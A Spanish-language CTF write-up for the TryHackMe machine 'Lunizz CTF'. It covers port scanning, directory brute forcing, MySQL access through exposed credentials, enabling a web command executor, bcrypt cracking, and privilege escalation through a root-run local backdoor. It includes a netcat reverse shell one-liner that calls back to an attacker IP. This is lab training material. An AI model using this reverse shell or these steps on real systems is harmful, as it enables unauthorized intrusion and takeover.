Lunizz CTF - TryHackMe
SUMMARY
Debemos encontrar dos banderas en la maquina Lunizz CTF
. Donde a partir del escaneo de puertos de Nmap
pude saber que hay un servicio HTTP
,y MySQL
. Luego, realice una fuerza bruta de directorios sobre el directorio raíz del servidor web con gobuster
, llegando a encontrar tres recursos escondidos. Donde uno de ellos contenía unas credenciales por defecto para acceder al servidor MySQL
. Luego, modificando la columna de tabla de una base de datos, pude ejecutar un comando, que me genero una reverse Shell, a través del otro recurso escondido encontrado anteriormente. Luego utilice la herramienta linpeas
para encontrar vectores de escalada de privilegios en el sistema destino, llegando a encontrar un hash bcrypt
, que contenía la contraseña del usuario local Adam. Luego, realice un script en Python
para optimizar el crackeo del hash bcrypt. Luego, siendo el usuario Adam, realice una enumeración manual sobre sus directorios, llegando a encontrar la contraseña del usuario mason en un enlace de Google Maps
. Luego, realice una enumeración de todos los procesos que se están ejecutando en el sistema destino, encontrando que el usuario root esta ejecutando un servidor web local, que viene a ser un tipo de backdoor ejecutado por el usuario mason. Donde llegue a cambiar la contraseña del usuario root, y realizando una escalada de privilegios vertical.
FASE RECONOCIMIENTO
Para resolver este ejercicio empezaremos utilizando el comando openvpn
con el fin de establecer una conexion VPN con la red virtual donde esta la maquina Lunizz CTF
. Para ello utilizaremos el archivo de configuracion, que lo podemos descargar en la plataforma de Tryhackme, que puede incluir informacion como la direccion del servidor VPN, los certificados y claves de seguridad, la configuracion de encriptacion, etc.
Luego de que se establece la conexion VPN se crea una interfaz virtual de red en nuestra maquina. Donde se enruta todo el trafico de red a traves de esa interfaz.
Ademas, la plataforma de Tryhackme nos muestra la direccion ip de la maquina Lunizz CTF
.
FASE ESCANEO Y ENUMERACION
Luego pasaremos a la fase de Escaneo y Enumeración con el fin de poder escanear los puertos del nodo. Además, obtendremos los servicios que se han levantado en los puertos abiertos, las versiones de los servicios, y el sistema operativo de la máquina Lunizz CTF
. Para ello utilizaremos Nmap
. Donde le pasaremos los siguientes parámetros:
- El parámetro -sC o –script=”default” para utilizar todos los scripts de la categoría default con el fin de realizar un escaneo y detección de los puertos de manera avanzada.
- El parámetro -sV con el fin de conocer las versiones de los servicios levantados en los puertos abiertos.
- El parámetro -n para evitar la resolución DNS, y el parámetro –max-rate para indicarle el número máximo de paquetes por segundo que va a utilizar Nmap para el escaneo con el fin de evitar sobrecargar la red con el tráfico generado por la herramienta.
- El parámetro -p- para realizar un escaneo de los 65535 puertos del nodo y el parámetro –open con el fin de que nos muestre información solo de los puertos abiertos.
Los resultados que obtuvimos del escaneo vienen a ser:
- Hay un servicio HTTP que se está levantado en el puerto 80, y el programa servidor HTTP que se está corriendo. Además, la versión del programa servidor
- Hay dos servicios, que no pueden ser reconocidos por Nmap, y que están utilizando el puerto 5000 y 4444 para atender las solicitudes de conexión.
- El DBMS MySQL se esta ejecutando en el sistema destino, y está utilizando el puerto 3306 para atender las solicitudes de conexión.
Ahora realizaremos fuerza bruta de directorios de una forma automatizada con la herramienta gobuster con el fin de encontrar recursos escondidos en el directorio raíz del servidor web. Además, utilizaremos el parámetro -x para encontrar recursos escondidos con la extensión txt y php.
Podemos observar que la herramienta llego a encontrar tres recursos escondidos: whatever, hidden, instructions.txt, cuyos códigos de estado HTTP son 200 y 301 por lo que si podemos acceder a ellos a través de nuestro navegador web.
Ahora observaremos el recurso whatever desde mi navegador web.
Podemos observar que en el recurso whatever tienen un mensaje de ejecutor de comandos con una etiqueta imput, que nos permite ingresar supuestamente comandos que serán ejecutados en el sistema destino, pero cuando digitamos un comando no se ejecuta. Además, el ejecutor de comandos esta en modo 0, lo mas probable es que debido a que esta en modo 0 no nos permita ejecutar comandos.
Ahora observaremos el recurso hidden desde mi navegador web.
Podemos observar que en el recurso hidden podemos subir archivos en el directorio raíz del servidor web, pero solo nos permite subir archivos con extensión JPG, JPEG, PNG, GIF, y si intentamos subir un archivo con otro tipo de extensión, no nos permitirá subirlo.
Ahora observaremos el recurso instructions.txt desde mi navegador web.
Podemos observar que el contenido del recurso, contiene unas credenciales de un usuario para acceder al servidor MySQL, que se esta ejecutando en e sistema destino.
Ahora probaremos estas credenciales para acceder al servidor MySQL.
Podemos observar que llegamos acceder al servidor MySQL utilizando un cliente MySQL, que nos provee una interfaz de línea de comandos para interactuar con las bases de datos gestionadas por el DBMS. Además, llegamos a enumerar las bases de datos gestionadas por el DBMS, y enumeramos las tablas de la base de datos runornot. Donde pudimos observar que consta de una tabla llamada runcheck que tiene una sola columna, cuyo nombre es run y tiene un registro con el valor de 0. El nombre de esta columna nos da a suponer que esta relacionada con el modo del ejecutor de comandos, que nos encontramos en el recurso whatever.
Ahora intentaremos cambiar el valor del registro de esta columna a 1 a través de la siguiente consulta SQL.
Podemos observar que llegamos a cambiar el valor del registro de la columna run. Además, si volvemos a observar el recurso whatever desde nuestro navegador web, observaremos que esta en modo 1, y que nos permite ejecutar comandos en el sistema destino.
FASE HACKING O GANAR ACCESO O EXPLOTACION
Ahora ejecutaremos este comando: mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.8.123.194 1500
para que nos genere una reverse Shell, pero antes no nos olvidemos de poner en escucha el puerto 1500 en nuestro sistema para que acepte la conexión entrante por la reverse Shell.
De esta manera accedemos al sistema destino siendo el usuario www-data.
Además, podemos observar que el usuario www-data se le ha configurado para que utilice la Shell nologin cuando inicie sesión en el sistema destino. Además, esta Shell viene a ser no interactiva e inestable. Por lo tanto, realizaremos un tratamiento de la tty para tener una Shell estable e interactiva.
FASE ESCALADA PRIVILEGIOS
Ahora debemos buscar un vector de escalada de privilegios con el fin de ser un usuario con privilegios más elevados. Para ello utilizaremos la herramienta linpeas, que nos automatiza el proceso de buscar vectores de escala de privilegios en el sistema destino. Esta herramienta lo puedes descargar en el siguiente enlace: https://github.com/carlospolop/PEASS-ng/releases/tag/20230413-7f846812
Podemos observar que la herramienta linpeas llego a encontrar un directorio inesperado en el directorio /, que contenía un script en Python. Donde a partir del uso de la función bcrypt.hashpw() se generara un hash bcrpyt en formato de bytes a partir de la cadena de caracteres wewillROCKYOU y una salt generada por la función bcrypt.gensalt() en formato de bytes. Además, en este script se tiene unos comentarios que hace referencia a un hash bcrypt en formato de bytes y la función bcrypt.checkpw(), que es utilizado para verificar si una contraseña coincide con un hash bcrypt.
Además, podemos observar que este script en Python es de propiedad del usuario local Adam, y si intentamos usar la contraseña, que contenía el script, para autenticarnos como el usuario Adam, nos generara un error. Por lo tanto, utilizaremos la función bcrypt.checkpw() de la biblioteca bcrypt de Python para verificar si el hash bcrypt le corresponde a esa contraseña.
Podemos observar que el hash bcrypt ha sido generado utilizando otra contraseña distinta a wewillROCKYOU.
Ahora crearemos un script en Python que nos ayude a crackear este hash bcrypt.
Podemos observar que nuestro script llego a crackear el hash bcrypt, y la contraseña que le corresponde.
Ahora utilizaremos estas credenciales para intentar autenticarnos como el usuario Adam.
Podemos observar que mediante una escalada de privilegios horizontal llegamos a ser el usuario Adam en el sistema objetivo.
Ahora realizaremos un tratamiento de la tty para tener una Shell más estable e interactiva.
Ahora debemos buscar otro vector de escalada de privilegios con el fin de ser un usuario con privilegios más elevados. Para ello realizaremos una enumeración manual sobre los directorios del usuario local Adam.
Donde llegamos a encontrar un archivo llamado to_my_best_friend_adam.txt en el directorio oculto. archivo, que contiene un enlace de Google Maps y una referencia de que cambiara su contraseña al nombre de las luces que se ve en la ubicación.
Ahora observaremos hacía que ubicación nos lleva el enlace de Google Maps.
Podemos observar que las luces que se observan en el área vienen a ser auroras boreales que también son llamadas Northern Lights.
Ahora utilizaremos estos nombres de las luces para autenticarnos como el usuario mason.
Podemos observar que llegamos a realizar una escalada de privilegios horizontal siendo el usuario mason en el sistema destino.
Ahora realizaremos un tratamiento de la tty para tener una Shell más estable e interactiva.
Ahora debemos buscar otro vector de escalada de privilegios con el fin de ser un usuario con privilegios más elevados. Para ello realizaremos una enumeración manual sobre los procesos que se están ejecutando en el sistema destino y las conexiones de red.
Podemos observar que el usuario root esta ejecutando un proceso, que viene a ser un comando php que ejecutara un servidor web local, cuyo directorio raíz va a ser el directorio /root. Además, el servidor web local solo va a atender solicitudes provenientes del sistema destino, por esta razón es que Nmap no lo pudo detectar. Además, va a utilizar el puerto 8080 para atender las solicitudes.
Ahora realizaremos una solicitud GET hacia el servidor web con el comando curl para observar la respuesta HTTP que obtenemos del servidor web.
Podemos observar que al parecer se trata de un tipo de backdor que nos permite ejecutar tres comandos teniendo los privilegios del usuario root a través de los parámetros GET password and cmdtype.
Ahora enviaremos una solicitud POST HTTP hacia el servidor web con el parámetro GET password igual a la contraseña del usuario mason, y con el parámetro GET cmdtype igual al comando lsla.
Podemos observar que llegamos a listar los directorios y archivos del directorio root, que viene a ser el directorio raíz del servidor web local.
Ahora especificaremos el comando passwd en el parámetro GET cmdtype con el fin de que posiblemente se cambie la contraseña del usuario root.
Podemos observar que se recibimos un mensaje indicándonos que se cambio la contraseña a northernlights. Además, si probamos estas credenciales para autenticarnos como el usuario root, llegamos autenticarnos exitosamente. De esta manera realizamos una escalada de privilegios vertical y llegamos a ser el usuario root.
Ahora observaremos las dos banderas contenidas en los archivos user.txt y r00t.txt. Para localizar los archivos utilizaremos el comando find, y buscaremos desde el directorio /, archivos con sus nombres.